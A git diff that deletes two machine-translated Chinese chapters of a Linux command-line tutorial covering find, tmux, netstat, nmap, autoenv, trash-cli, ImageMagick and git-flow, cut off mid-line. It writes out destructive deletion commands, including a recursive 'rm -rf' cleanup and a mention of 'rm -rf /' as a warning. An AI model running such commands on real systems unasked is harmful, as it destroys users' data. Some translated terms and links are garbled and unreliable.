find](img/image_04_018.jpg) - -在处理大量项目文件时,如果有时一些项目中的案例仍然是空的,而我们忘记了来删除它们。为了找到所有空文件,只需执行以下操作: - -```sh -find . -empty - -``` - -![You can run, but you can't hide… from find](img/image_04_019.jpg) - -我们可以看到,电子有几个空文件。Find 还会显示空目录或链接。 - -删除空文件将保持我们的项目干净,但是当涉及到减小大小时,我们有时希望知道哪些文件占用了大部分空间。Find 还可以根据文件大小进行搜索。例如,让我们找到所有大于`1`兆的文件: - -```sh -find . -size +1M - -``` - -较小的使用-1M。 - -正如我们在开头所说的,find 可以做的不仅仅是在项目中定位文件。使用`-exec`参数,它可以与几乎任何其他命令结合使用,这赋予了它几乎无限的能力。例如,如果我们想要查找所有包含文本`manager`的`javascript`文件,我们可以将查找和`grep`结合起来,命令如下: - -```sh -find . -name "*.js" -exec grep -li 'manager' {} \; - -``` - -![You can run, but you can't hide… from find](img/image_04_020.jpg) - -这将对 find 返回的所有文件执行 grep 命令。让我们也使用 vim 在文件内部搜索,以便验证结果是否正确。如您所见,文本“管理器”出现在这个文件中。你不用担心`{} \;`,这只是标准的执行语法。 - -继续实际的例子,假设你有一个文件夹,你想删除所有在过去 100 天修改的文件。我们可以看到我们的`default_app`文件夹包含这样的文件。如果我们像这样把 find 和`rm`结合起来: - -```sh -find default_app -mtime -100 -exec rm -rf {} \; - -``` - -我们可以快速清理一下。Find 可用于智能备份。例如,如果我们要备份项目中的所有`json`文件,我们将使用管道和标准输出重定向将 find 和`cpio`备份实用程序结合起来: - -```sh -find . -name "*.json" | cpio -o > backup.cpio - -``` - -![You can run, but you can't hide… from find](img/image_04_021.jpg) - -我们可以看到这个命令已经创建了一个`backup.cpio`文件,类型为`cpio`存档。 - -这可能也是用`-exec`写的,但是关键是你要明白管道也可以和重定向一起用在这种场景中。 - -做报告时,您可能需要计算所写的行数: - -* 为了做到这一点,我们把 find 和`wc -l` : - - ```sh - find . -iname "*.js" -exec wc -l {} \; - - ``` - - 结合起来 -* 这会给我们所有`js`文件和行数。我们可以用管道把这个切断: - - ```sh - find . -iname "*.js" -exec wc -l {} \; | cut -f 1 -d ' ' - - ``` - -* 要只输出行数,然后管道到粘贴命令,我们这样做: - - ```sh - find . -iname "*.js" -exec wc -l {} \; | cut -f 1 -d ' ' | paste -sd+ - - ``` - -* The above will merge all our lines with the `+` sign as a delimiter. This, of course, can translate to an arithmetic operation, which we can calculate using the binary calculator (`bc`): - - ```sh - find . -iname "*.js" -exec wc -l {} \; | cut -f 1 -d ' ' | paste -sd+ | bc - - ``` - - ![You can run, but you can't hide… from find](img/image_04_022.jpg) - -最后一个命令将告诉我们`javascript`文件包含多少行。当然,这些不是实际的代码行,因为它们可以是空行或注释。要精确计算代码行,可以使用`sloc`实用程序。 - -为了批量重命名文件,比如将所有`js`文件的文件扩展名更改为`node`,我们可以使用以下命令: - -```sh -find . -type f -iname "*.js" -exec rename "s/js$/node/g" {} \; - -``` - -您可以看到重命名语法与 sed 非常相似。此外,没有更多的`.js`文件了,因为所有文件都已重命名为`.node`: - -![You can run, but you can't hide… from find](img/image_04_023.jpg) - -有些软件项目要求所有源代码文件都有版权头。由于一开始并不需要这样做,所以很多时候我们会发现自己处于这样一种情况,即我们必须在所有文件的开头添加版权信息。 - -为此,我们可以将 find 与 sed 结合起来,如下所示: - -```sh -find . -name "*.node" -exec sed -i "1s/^/\/** Copyright 2016 all rights reserved *\/\n/" {} \; - -``` - -这基本上是在告诉电脑找到所有`.node`文件,在每个文件的开头加上版权声明,后面加一行新的。 - -我们可以检查一个随机文件,是的,版权声明在那里: - -![You can run, but you can't hide… from find](img/image_04_024.jpg) - -更新所有文件中的版本号: - -```sh -find . -name pom.xml -exec sed -i "s/4.02/4.03/g" {} \; - -``` - -可以想象,find 有很多用例。我给你看的例子只是第一部分。学习查找,以及`sed`和`git cli`可以让你在查找、重构或使用`git`时从你的 IDE 中解放出来,这意味着你可以更容易地从一个 IDE 切换到另一个 IDE,因为你不必学习所有的功能。您只需使用友好的命令行界面工具。 - -# tmux–虚拟控制台、后台作业等 - -在这一节中,我们将看到另一个很棒的工具,叫做 tmux。当在远程`ssh`会话中工作时,Tmux 特别有用,因为它让你能够从你停止的地方继续你的工作。如果你在工作,例如在苹果电脑上,你不能安装终结者,它也可以取代终结者中的一些功能。 - -要在 Ubuntu 上开始使用`tmux`,我们首先需要安装它: - -```sh -sudo apt install tmux - -``` - -![tmux – virtual consoles, background jobs and the like](img/image_04_025.jpg) - -然后只需运行命令: - -```sh -tmux - -``` - -![tmux – virtual consoles, background jobs and the like](img/image_04_026.jpg) - -你会发现自己置身于一个全新的虚拟控制台中: - -![tmux – virtual consoles, background jobs and the like](img/image_04_027.jpg) - -出于演示目的,我们将打开一个新的选项卡,您可以使用`tmux ls`查看打开的会话列表: - -![tmux – virtual consoles, background jobs and the like](img/image_04_028.jpg) - -让我们开始一个新的`tmux`命名会话: - -```sh -tmux new -s mysession - -``` - -![tmux – virtual consoles, background jobs and the like](img/image_04_029.jpg) - -在这里我们可以看到打开一个`tmux`会话会维护当前目录。要在`tmux`内列出并切换`tmux`会话,请点击 *Ctrl* + *B* *S* 。 - -我们可以看到我们可以切换到另一个 tmux 会话,在里面执行命令,如果愿意的话可以切换回我们的初始会话。要分离(保持会话运行并返回正常终端),请点击*Ctrl*+*b d*; - -现在我们可以看到我们有两个开放的会议。 - -要附加到会话,请执行以下操作: - -```sh -tmux a -t mysession - -``` - -![tmux – virtual consoles, background jobs and the like](img/image_04_030.jpg) - -当您登录到远程服务器并想执行一个长时间运行的任务,然后离开并在任务结束时返回时,这种情况会很方便。我们将使用名为 infinity.sh 的快速脚本来复制这个场景。我们将执行它。它正在写入标准输出。现在让我们脱离 tmux。 - -如果我们看一下脚本,它只是一个简单的 while 循环,永远继续下去,每秒打印文本。 - -现在,当我们回到会话时,我们可以看到脚本在运行,而我们从会话中分离出来,它仍然向控制台输出数据。我会通过点击 *Ctrl* + *c* 手动停止。 - -好吧,让我们去我们的第一个 tmux 会话,并关闭它。要手动终止正在运行的 tmux 会话,请使用: - -```sh -tmux kill-session -t mysession - -``` - -![tmux – virtual consoles, background jobs and the like](img/image_04_031.jpg) - -这将终止正在运行的会话。如果我们切换到第二个选项卡,我们可以看到我们已经注销了 tmux。让我们也关闭这个终止符选项卡,并打开一个全新的 tmux 会话: - -![tmux – virtual consoles, background jobs and the like](img/image_04_032.jpg) - -Tmux 给你分屏的可能性,就像终结者一样,水平用 *Ctrl* + *b* +”,垂直用*Ctrl*+*b*+*%*。之后,使用 *Ctrl* + *b* +箭头在窗格之间导航: - -![tmux – virtual consoles, background jobs and the like](img/image_04_033.jpg) - -您还可以创建窗口(标签): - -* *Ctrl* + *b c*: create: - - ![tmux – virtual consoles, background jobs and the like](img/image_04_034.jpg) - -* *Ctrl* + *b w*: list: - - ![tmux – virtual consoles, background jobs and the like](img/image_04_035.jpg) - -* *Ctrl* + *b &*: delete - - ![tmux – virtual consoles, background jobs and the like](img/image_04_036.jpg) - -最后这些功能与终结者提供的非常相似。 - -您可以在远程`ssh`连接中希望有两个或更多窗格甚至选项卡,但不想打开多个`ssh`会话的情况下使用 tmux。你也可以在本地使用它,作为终结者的替代品,但是键盘快捷键更难使用。虽然它们可以更改,但是您将失去远程使用 tmux 的选项,因为不鼓励在另一个 tmux 会话中打开一个 tmux 会话。此外,由于快捷方式的差异,配置新的 tmux 键盘快捷方式可能会使 tmux 在处理大量服务器时成为负担。 - -# 网络–谁在听? - -在使用网络应用时,能够看到开放的端口和连接,并且能够与不同主机上的端口进行交互以进行测试,这非常方便。在本节中,我们将了解一些基本的网络命令,以及它们在什么情况下会派上用场。 - -第一个命令是`netstat`: - -```sh -netstat -plnt - -``` - -![Network – Who's listening?](img/image_04_037.jpg) - -这将显示我们主机上所有打开的端口。你可以在这里看到,我们在一个默认的 Ubuntu 桌面安装上只有一个开放的端口,那就是端口 `53`。我们可以在特殊文件`/etc/services`中查找这个。该文件包含程序和协议的所有基本端口号。我们在这里看到的端口`53`是 DNS 服务器: - -![Network – Who's listening?](img/image_04_038.jpg) - -仅仅通过分析输出,我们无法确定哪个程序正在监听这个端口,因为这个过程不属于我们当前的用户。这就是为什么*PID/程序名*栏为空的原因。如果我们用`sudo`再次运行相同的命令,我们会看到这个过程被命名为`dnsmasq`,如果我们想要更多的信息,我们可以在手册页中查找。这是一个轻量级的 DHCP 和缓存 DNS 服务器: - -![Network – Who's listening?](img/image_04_039.jpg) - -我们从该命令中获得的其他有用的信息: - -* 程序协议,在这种情况下是 dhcp。 -* 未复制的总字节数。 -* 未确认的字节总数。 -* 本地和国外地址和港口。获取端口是我们使用这个命令的主要原因。这对于确定端口是仅在本地主机上打开还是正在侦听网络上的传入连接也很重要。 -* 港口的状态。通常这是**听着**。 -* PID 和程序名,帮助我们识别哪个程序在哪个端口监听。 - -现在,如果我们运行一个应该在某个端口监听的程序,但我们不知道它是否工作,我们可以通过`netstat`找到答案。让我们通过运行以下命令来打开最基本的 HTTP 服务器: - -```sh -python -m SimpleHTTPServer - -``` - -![Network – Who's listening?](img/image_04_040.jpg) - -从输出中可以看到,它正在接口`0.0.0.0`上的端口`8000`上监听。如果我们打开一个新的窗格并运行`netstat`命令,我们将看到打开的端口和 PID /名称。 - -您可能已经知道这一点,但是为了安全起见,我们将考虑在我们的机器上添加不同的主机名作为静态`dns`条目。当开发需要连接到服务器并且服务器更改其 IP 地址的应用时,或者当您想要模拟本地机器上的远程服务器时,这很有帮助。为此,我们键入: - -```sh -sudo vim /etc/hosts - -``` - -![Network – Who's listening?](img/image_04_041.jpg) - -您可以从现有内容中快速了解文件的格式。让我们为本地主机添加一个别名,这样我们就可以用不同的名称访问它。添加以下一行: - -```sh -127.0.0.1 myhostname.local - -``` - -我们建议本地主机使用不存在的顶级域名,例如。这是为了避免覆盖任何现有地址,因为`/etc/hosts`在`dns`解析中优先。现在,如果我们在`8000`端口的浏览器中打开该地址,我们将看到本地 Python 服务器正在运行并提供内容。 - -下一个命令是`nmap`。如您所见,默认情况下,Ubuntu 上没有安装它,所以让我们通过键入以下内容来安装它: - -```sh -sudo apt install nmap - -``` - -![Network – Who's listening?](img/image_04_042.jpg) - -Nmap 是用于检查远程主机上所有打开端口的命令,也称为端口扫描程序。如果我们在我们的网络网关上运行`nmap`,在我们的例子中是`192.68.0.1`,我们将获得网关上所有打开的端口: - -类型: **nmap 192.168.0.1** - -![Network – Who's listening?](img/image_04_043.jpg) - -如您所见,又有`dns`端口打开,http 和 https 服务器,用作配置路由器的网页,以及端口`49152`,此时,它不特定于任何通用协议-这就是为什么它被标记为未知。Nmap 不确定那些特定的程序是否真的在主机上运行;它所做的只是验证哪些端口是打开的,并编写通常在该端口上运行的默认应用。 - -如果我们不确定需要连接什么服务器,或者想知道当前网络中有多少服务器,可以在本地网络地址上运行`nmap`,指定网络掩码为目的网络。我们从`ifconfig`得到这个信息;如果我们的 IP 地址是`192.168.0.159`,我们的网络掩码是`255.255.255.0`,这意味着命令将如下所示: - -```sh -nmap -sP 192.168.0.0/24 - -``` - -![Network – Who's listening?](img/image_04_044.jpg) - -在`/24 = 255.255.255.0`中,基本上网络会有从`192.168.0.0`到`192.168.0.255`的`ips`。我们在这里看到,我们有三个活动主机,它甚至给了我们延迟,因此我们可以确定哪个主机更近。 - -Nmap 在开发客户机-服务器应用时很有帮助,例如,当您想查看服务器上有哪些端口可以访问时。但是,`nmap`可能会错过非标准的特定于应用的端口。为了实际连接到给定的端口,我们将使用预先安装在 Ubuntu 桌面上的 telnet。要查看特定端口是否接受连接,只需键入主机名,后跟端口: - -```sh -telnet 192.168.0.1 80 - -``` - -![Network – Who's listening?](img/image_04_045.jpg) - -如果端口正在侦听并接受连接,telnet 将输出如下消息: - -* 尝试`192.168.0.1`... -* 连接到`192.168.0.1` -* 转义字符为`^]` - -这意味着你也可以从你的应用连接。所以如果你在连接上有困难,那通常是客户的问题;服务器工作正常。 - -要退出 telnet,点击:*Ctrl*+*,然后是 *Ctrl* + *d* 。* - - *此外,在某些情况下,我们需要获取特定主机名的 ip 地址。最简单的方法是使用 host 命令: - -```sh -host ubuntu.com - -``` - -![Network – Who's listening?](img/image_04_046.jpg) - -为了开始使用主机名和端口,我们只学习了基础知识,即您需要的最少元素。为了更深入地了解网络和包流量,我们建议查看关于渗透测试或网络流量分析工具(如 Wireshark)的课程。这里有一个这样的课程:[https://www . packtpub . com/networking-and-servers/mastering-wireshark”](https://www.packtpub.com/networking-and-servers/mastering-wireshark)。 - -# Autoenv–建立一个持久的、基于项目的栖息地 - -项目彼此不同,环境也不同。我们可能正在我们的本地机器上开发一个应用,该应用具有某些环境变量,如调试级别、应用编程接口键或内存大小。然后,我们希望将应用部署到一个临时的或生产服务器上,该服务器具有相同环境变量的其他值。用于动态加载环境的工具是`autoenv`。 - -要安装它,我们转到官方 GitHub 页面,并按照说明进行操作: - -[https://github . com/kennethritz/autonv](https://github.com/kennethreitz/autoenv) - -首先,我们将在主目录中克隆项目,然后将下面的行添加到。zshrc 配置文件,以便每次 zsh 启动时,默认情况下会加载 autoenv: - -```sh -source ~/.autoenv/activate.sh - -``` - -现在让我们创建一个有两个假想项目的示例工作场所,项目 1 和项目 2。 - -我们为项目 1 打开一个环境文件: - -```sh -vim project1/.env - -``` - -现在让我们假设项目 1 使用了一个名为`ENV`的环境变量,我们将它设置为`dev`: - -```sh -export ENV=dev - -``` - -![Autoenv – Set a lasting, project-based habitat](img/image_04_047.jpg) - -现在让我们对项目 2 做同样的事情,但是对`ENV`用不同的值;`qa`: - -```sh -export ENV=qa - -``` - -![Autoenv – Set a lasting, project-based habitat](img/image_04_048.jpg) - -保存并关闭这两个文件。现在当我们在项目 1 文件夹中 cd 时,我们看到如下消息: - -```sh -autoenv: -autoenv: WARNING: -autoenv: This is the first time you are about to source /home/hacker/course/work/project1/.env: -autoenv: -autoenv: --- (begin contents) --------------------------------------- -autoenv: export ENV=dev$ -autoenv: -autoenv: --- (end contents) ----------------------------------------- -autoenv: -autoenv: Are you sure you want to allow this? (y/N) -``` - -点击 *y* 加载文件。每次获取新的环境文件时都会发生这种情况。现在,如果我们为 ENV 变量对环境进行 grep,我们可以看到它存在,并且值为`dev`: - -![Autoenv – Set a lasting, project-based habitat](img/image_04_049.jpg) - -现在让我们将目录更改为`project 2`: - -![Autoenv – Set a lasting, project-based habitat](img/image_04_050.jpg) - -我们可以看到发出了同样的警告信息。当我们对 ENV 变量进行 grep 时,我们现在看到它的值是`qa`。如果我们离开这个文件夹,环境变量仍然被定义,并且将被定义,直到其他脚本覆盖它或者当前会话关闭。`.env`文件来源于,即使我们 cd 到项目 1 内部更深的目录。 - -现在让我们看一个更复杂的项目 1 的例子。 - -假设我们想从`package.json`获取版本,我们还想使用一个名为 COMPOSE_FILE 的变量,该变量将为 docker compose 指定一个不同的文件。Docker 用户知道这是怎么回事,但是如果你不知道..谷歌时间! - -这里有一个例子: - -```sh -export environment=dev -export version=`cat package.json | grep version | cut -f 4 -d "\""` -export COMPOSE_FILE=docker-compose.yml -``` - -为了使其生效,我们需要首先复制一个`package.json`文件,并测试`cat`命令是否有效: - -![Autoenv – Set a lasting, project-based habitat](img/image_04_051.jpg) - -一切似乎都很好,所以让我们进入我们的文件夹: - -![Autoenv – Set a lasting, project-based habitat](img/image_04_052.jpg) - -如您所见,环境变量已经设置: - -![Autoenv – Set a lasting, project-based habitat](img/image_04_053.jpg) - -`Autoenv`真的能派上用场,而且不仅限于导出环境变量。您可以做一些事情,比如在进入某个项目或运行`git pull`时发出提醒,或者更新终端的外观和感觉,以便为每个项目提供独特的感觉。 - -## 不要乱扔垃圾 - -命令可以分为无害的和有害的。大多数命令都属于第一类,但有一个命令非常常见,已知会在计算机世界中造成大量破坏。可怕的命令是`rm`,它摧毁了无数硬盘,使得大量宝贵的数据无法访问。Linux 桌面借鉴了其他桌面的垃圾概念,删除文件时默认的动作是将其发送到`Trash`。发送文件是一个很好的做法,这样就不会无意中删除文件。但是这个垃圾没有神奇的位置;这只是一个隐藏的文件夹,通常位于`~/.local`。 - -在这一部分,我们将看到一个实用工具,旨在处理垃圾。我们将通过以下方式安装它: - -```sh -sudo apt install trash-cli - -``` - -![Don't rm the trash](img/image_04_054.jpg) - -这将安装多个命令。让我们来看看当前包含相当多文件的目录。假设我们不需要以文件开头的文件。`*` - -为了删除文件,我们将使用: - -```sh -trash filename - -``` - -![Don't rm the trash](img/image_04_055.jpg) - -(使用垃圾桶有一个单独的命令。我们将重新加载我们的路径。)我们列出了所有垃圾桶命令。列出废纸篓内容的命令是: - -```sh -trash-list - -``` - -![Don't rm the trash](img/image_04_056.jpg) - -在这里,我们可以看到垃圾桶里的文件。它只显示与废纸篓命令放在一起的文件。我们可以看到它们被删除的日期、时间和确切位置。如果我们有多个具有相同名称和路径的文件,它们就会被列在这里,我们可以通过删除日期来识别它们。 - -为了从废纸篓恢复文件,我们将使用以下命令: - -```sh -restore-trash - -``` - -![Don't rm the trash](img/image_04_057.jpg) - -它将向我们显示一个选项列表,并要求一个与我们想要恢复的文件相对应的数字。在这种情况下我们将选择 1,这意味着我们想要恢复`json`文件。 - -我们打开文件,可以看到内容在这个过程中没有被修改。 - -为了删除废纸篓中的所有文件,我们使用: - -```sh -trash-empty - -``` - -![Don't rm the trash](img/image_04_058.jpg) - -这相当于首先做`rm`。现在,如果我们再次列出垃圾,我们会看到它没有任何内容。 - -虽然网络上充斥着`rm -rf /`的笑话,但这实际上是一个严重的问题,会导致头痛,浪费时间试图恢复造成的损害。如果你已经使用`rm`很长时间了并且不能养成使用垃圾桶的习惯,我们建议为`rm`添加一个别名来实际运行垃圾桶命令。在这种情况下,在提交文件之前,或者甚至在删除整个根分区之前,将一堆堆的文件堆积在垃圾箱中比冒险删除一个可能需要的文件更好!* \ No newline at end of file diff --git a/docs/work-with-linux/5.md b/docs/work-with-linux/5.md deleted file mode 100644 index ad0914b8..00000000 --- a/docs/work-with-linux/5.md +++ /dev/null @@ -1,674 +0,0 @@ -# 五、开发者的宝藏 - -在这一章中,我们将从使用 Python 构建网络服务器开始。然后我们将看到如何使用 ImageMagick 自动处理我们所有的图像。然后,我们将看看 git 流分支模型以及它将如何帮助您。此外,我们将看到 meld 命令行如何帮助合并我们的 git 冲突。然后,我们将重点关注 ngrok 工具的工作,看看它如何通过将来自互联网的请求代理到我们的笔记本电脑来节省时间。我们还将探索 JSON 的瑞士军刀 jq 的全能查询能力!最后,我们将探索管理和终止 Linux 进程的方法。 - -在本章中,我们将介绍以下内容: - -* 收缩法术和其他图像魔法 -* 理解 git 流分支模型的工作 -* 使用 ngrok 保护到本地主机的隧道 -* 了解 jq - -# 现场网络服务器 - -我们准备了一个基本的演示`html`文件,其中包含一个按钮、`div`、`jquery`功能(用于帮助我们进行一些`ajax`调用)和一个脚本,该脚本将尝试从我们的服务器加载静态内容并将内容放入`div`标签中。该脚本试图在磁盘上加载一个简单的文本文件,`/file`: - -![The spot webserver](img/image_05_001.jpg) - -如果我们在浏览器中打开这个文件,我们可以看到页面内容: - -![The spot webserver](img/image_05_002.jpg) - -点击按钮产生`javascript`错误。它告诉我们,我们想做一个跨来源的请求,这是浏览器默认不允许的。这是为了防止跨站点脚本攻击。为了测试我们的`javascript`代码,我们需要做的是在一个 HTTP 服务器中提供这个文件。 - -为了在文件所在的文件夹中启动 HTTP 服务器,我们键入以下命令: - -```sh -python -m SimpleHTTPServer - -``` - -![The spot webserver](img/image_05_003.jpg) - -这是一个基本的 Python 模块,在 localhost 上打开端口`8000`,只服务静态内容(所以,不,不能用于`php`)。让我们在浏览器中打开地址: - -点击**点击我!**按钮。我们看到我们的文件内容被加载到按钮下方的`div`中,这意味着浏览器不再阻止我们,因为我们使用相同的协议向同一台主机发出请求。查看 Python 服务器的输出,我们可以看到浏览器向服务器发出的所有请求。我们可以看到它默认请求一个不存在的`favicon.ico`文件,并返回一个`404`状态代码: - -![The spot webserver](img/image_05_004.jpg) - -你可以在 GitHub 项目页面找到这个项目中使用的文件。 - -此外,如果我们停止服务器并升级一级并再次启动它,我们可以将其用作`webdav`服务器,有可能在当前目录中的文件中导航。例如,我们可以让远程用户访问我们本地机器上的一个文件夹,并允许他们通过浏览器中的一个页面来访问它,从而无需安装文件服务器。 - -# 收缩法术和其他图像魔法 - -在本章中,我们将学习如何从命令行处理图像。我们将从最复杂和广泛使用的图像命令行界面处理工具包 **ImageMagick** 开始。要安装它,请运行以下命令: - -```sh -sudo apt install imagemagick - -``` - -![Shrinking spells and other ImageMagick](img/image_05_005.jpg) - -如您所见,我们已经安装了它。 - -现在,让我们找一些图像来处理。让我们使用`/usr/share/backgrounds`中可以找到的默认 Ubuntu 背景。让我们将背景复制到另一个位置,这样我们就不会更改默认的背景。 - -我们先来看看我们列表中的第一张图片:从`ls`可以看出是 1.6 MB 的 JPEG 图片。要打开它并查看的外观,让我们使用 **eog** (【侏儒之眼】)图像查看器: - -![Shrinking spells and other ImageMagick](img/vlcsnap-00001.jpg) - -知道如何处理图像的第一个也是最重要的部分是知道图像实际上是什么。为了找到答案,ImageMagick 提供了一个名为**的工具来识别**。最简单的形式是给它一个图像名称,它会输出如下信息: - -```sh -identify image_name -160218-deux-two_by_Pierre_Cante.jpg JPEG 3840x2400 3840x2400+0+0 8-bit sRGB 1.596MB 0.240u 0:00.230 - -``` - -我们可以看到,该文件是一个 1.6 MB 的 JPEG 图像,最重要的是,它的大小为 3,840x2,400 像素。 - -如果我们看`warty-final-ubuntu.png`我们会看到输出格式是相似的:尺寸和分辨率更高,图像格式是 PNG。让我们看看它是什么样子的: - -```sh -eog warty-final-ubuntu.png - -``` - -![Shrinking spells and other ImageMagick](img/image_05_006.jpg) - -PNG 图像通常比 JPEG 图像占用更多的空间。如果没有透明度,建议使用`.jpg`。为了从一种类型转换到另一种类型,我们使用带有两个参数的`imagemagick` `convert`命令:输入文件名和输出文件名: - -```sh -convert file.png file.jpg - -``` - -![Shrinking spells and other ImageMagick](img/image_05_007.jpg) - -输出图像的格式将由`convert`从文件扩展名中推导出来。如你所见,输出的是一个相同分辨率的 JPEG 图像,但尺寸比小得多 PNG 版本:180 KB,而不是 2.6 MB。如果我们打开图像,我们看不到任何明显的差异。这对于网页开发来说是一件大事,因为如果我们在网页上使用这张图片,它的加载速度将比 PNG 版本快 15 倍。 - -如果我们想要裁剪图像的一个区域,我们可以通过`convert`来完成。例如,如果我们想从坐标 100,100 开始切割一张 500x500 的图像,我们可以使用以下方法: - -```sh -convert -crop "500x500+100+100" warty-final-ubuntu.png warty.jpg - -``` - -![Shrinking spells and other ImageMagick](img/image_05_008.jpg) - -正如我们所看到的,输出图像的分辨率是我们要求的,但是它的大小要小得多,只有 2.5 KB。从视觉上分析两幅图像,我们可以看到裁剪的那幅是大图的一部分。通常情况下,您不会想要在命令行中猜测像素,但是会使用图像处理软件(如 GIMP)来为您完成工作,以便您可以直观地选择和裁剪部分图像。然而,在开发软件应用时,通常情况下,您必须以编程方式裁剪图像,在这种情况下,这就派上了用场。 - -`convert`命令也擅长创建图像。如果我们想从文本字符串创建图像,我们可以使用以下方法: - -```sh -convert -size x80 label:123 nr.jpg - -``` - -![Shrinking spells and other ImageMagick](img/image_05_009.jpg) - -这将创建一个高度为 80 像素的 JPEG 图像,包含指定的文本,在本例中为字符串`123`。我们可以看到输出,它是一个 3.4 KB 的图像,如果我们从视觉上看,我们会看到文本`123`: - -![Shrinking spells and other ImageMagick](img/image_05_010.jpg) - -这在需要以编程方式生成可读图像的不同场景中也会派上用场,例如使用验证码软件或生成带有用户姓名首字母的默认配置文件图像。 - -现在我们来看看`imagemagick`之外的一些图像缩小工具。第一个是名为`pngquant`的`png`收缩工具。我们将通过键入以下内容来安装它: - -```sh -sudo apt install pngquant - -``` - -![Shrinking spells and other ImageMagick](img/image_05_011.jpg) - -让我们尝试缩小之前看到的大的 PNG 图像。如果图像包含透明度并且需要保持 PNG 格式,我们就用下面的图像名称来调用`pngquant`: - -```sh -pngquant warty-final-ubuntu.png - -``` - -![Shrinking spells and other ImageMagick](img/image_05_012.jpg) - -默认情况下,它输出一个具有相同名称和添加的`fs8`扩展名的文件。我们可以看到的大小差异也很明显(小了 1 MB,几乎是原来的一半大小)。如果我们直观地比较图像,我们将无法发现任何差异: - -![Shrinking spells and other ImageMagick](img/image_05_013.jpg) - -![Shrinking spells and other ImageMagick](img/image_05_014.jpg) - -好了,现在让我们试着对 JPEG 图像做同样的事情。 - -为此,我们将安装相当于`pngquant,`,也就是`jpegoptim`: - -```sh -sudo apt install jpegoptim - -``` - -![Shrinking spells and other ImageMagick](img/image_05_015.jpg) - -我们将以同样的方式调用它,我们只是给它一个命令行参数,也就是要收缩的文件。让我们挑选一些随机图像,看看是否可以缩小它们的大小: - -![Shrinking spells and other ImageMagick](img/image_05_016.jpg) - -从输出可以看出,是说**跳过了**。这意味着图像已经被缩小了(Ubuntu 的人在提交图像之前可能使用了相同的工具)。如果我们在`imagemagick`制作的 JPEG 上再次尝试,可以看到它也被跳过了:`imagemagick`已经使用了最小必要格式。 - -当涉及到网络开发时,图像处理工具尤其方便,在网络开发中,需要使用大量的图像,并且图像的大小需要尽可能小。命令行工具非常有用,因为它们可以用来自动化任务。图像收缩通常被添加到构建任务中,在那里准备网站的生产版本。`imagemagick`工具包附带了比我们今天看到的工具多得多的工具,所以请随意探索工具包中其他方便的命令。此外,当涉及到图形处理图像时,有一些很好的开源工具,如 GIMP 和 Inkscape,可以真正帮助您完成工作,并为您节省大量资金。 - -# 随波逐流 - -**Git** 是目前最受欢迎的版本控制系统。在这一章中,我们将看到 Git 的一个插件,名为 **GitFlow** ,它为软件项目提出了一个分支模型。这种分支模型对小项目没有太大的帮助,但对大中型项目来说是一个很大的好处。我们将看到一个名为`gitflow-avh`的`git-flow` 插件的变体,它增加了额外的功能,比如 **Git hooks** 、[https://github.com/petervanderdoes/gitflow-avh](https://github.com/petervanderdoes/gitflow-avh)。 - -要安装它,我们将按照 GitHub 页面上的说明进行操作。我们在 Ubuntu 上,所以我们将按照的安装说明来安装 Linux。 - -我们可以看到它可以直接用`apt`命令安装,但是 apt 通常不包含最新版本的软件,所以今天我们来做一个手动安装。我们想选择稳定的版本,并使用一行命令。 - -完成后,让我们创建一个虚拟项目。我们将创建一个空目录,并将其初始化为 Git 存储库: - -```sh -git init - -``` - -![Go with the Git flow](img/image_05_017.jpg) - -基础 Git 用法不是本课程的一部分,我们假设您了解基础知识。 - -好吧。开始阅读`git-flow`的一个好方法是阅读丹尼尔·库默创作的优秀备忘单: - -[http://danielnumber . github . io/git-flow-cheat sheet/](http://danielkummer.github.io/git-flow-cheatsheet/) - -这为提供了基本的提示和技巧,让您快速开始使用`git-flow`。因此,cheatsheet 建议的第一件事是运行以下内容: - -```sh -git flow init - -``` - -![Go with the Git flow](img/image_05_018.jpg) - -要配置它,我们需要回答一堆问题,关于分支在每个流中应该有什么名字,版本标签前缀和 hooks 目录是什么。让我们保持默认值。现在,让我们运行以下内容: - -```sh -git branch - -``` - -![Go with the Git flow](img/image_05_019.jpg) - -我们可以看到我们现在在`develop`分支上,所以不再在`master`分支上开发。这有助于我们有一个稳定的主人,而不那么稳定的特征则保留在`develop`分支上。 - -如果我们回到 cheatsheet,我们可以看看第一个项目,这是一个功能分支。功能分支在开发功能的特定部分或进行重构时很有用,但是您不想破坏开发分支上的现有功能。要创建要素分支,只需运行以下命令: - -```sh -git flow feature start feature1 - -``` - -![Go with the Git flow](img/image_05_020.jpg) - -这不是对该特性最直观的描述,但它有助于演示。`GitFlow`一旦特征分支完成,还将向我们显示动作摘要。这使得在开发分支的基础上创建了一个名为`feature/feature1`的新分支,并将我们切换到该分支。我们也可以从我们得心应手的`zsh`提示中看到这一点。 - -让我们打开一个文件,编辑并保存它: - -```sh -git status - -``` - -![Go with the Git flow](img/image_05_021.jpg) - -该命令将告诉我们,我们有一个未提交的文件。让我们开始行动吧。 - -现在`git commit`正在使用`nano`编辑器编辑提交消息。既然我们更喜欢`vim`,让我们继续将默认编辑器更改为`vim`。我们所需要做的就是在我们的`zshrc`中添加这一行并重新加载它: - -```sh -export EDITOR=vim - -``` - -现在,当我们执行`git commit`时,Vim 打开,向我们显示提交的摘要,然后关闭。 - -现在让我们假设我们已经完成了一个新特性的添加。是时候将功能分支合并回以下内容进行开发了: - -```sh -git flow feature finish feature1 - -``` - -![Go with the Git flow](img/image_05_022.jpg) - -同样,要获得操作摘要: - -* 功能分支被合并回去开发 -* 特征分支已被删除 -* 当前分支被切换回开发 - -如果我们执行`ls`,我们会在开发分支上看到来自我们分支的文件。查看备忘单,我们可以看到这个过程的图形表示。 - -接下来是开始发布。发布分支有利于停止来自开发分支的传入特性和 bug 修复,测试当前版本,提交其上的 bug 修复,并向公众发布。 - -我们可以看到,语法是相似的,过程也是相似的,开发分支到一个发布分支,但是当涉及到完成分支时,特性也合并到主分支,并且从这个分支中剪切出一个标签。是时候看到它发挥作用了: - -```sh -git flow release start 1.0.0 - -``` - -![Go with the Git flow](img/image_05_023.jpg) - -这将我们切换到我们的`release/1.0.0`分支。让我们添加一个`releasenotes.txt`文件来显示这个版本中发生了什么变化。增加了更多的 bugs 希望没有! - -让我们提交文件。 - -当您开始运行您的集成和压力测试时,通常会出现这种情况,以查看是否一切正常,并检查是否没有 bug。 - -测试完成后,我们继续完成我们的发布分支: - -```sh -git flow release finish 1.0.0 - -``` - -![Go with the Git flow](img/image_05_024.jpg) - -它会提示我们一系列的发布消息:我们将保留所有的默认值。 - -查看摘要,我们可以看到: - -* 发布分支被合并到主分支中 -* 从主版本中剪切出一个标签 -* 标签也被合并到开发中 -* 发布分支已被删除 -* 我们又回到了发展分支 - -现在,我们运行以下内容: - -```sh -git 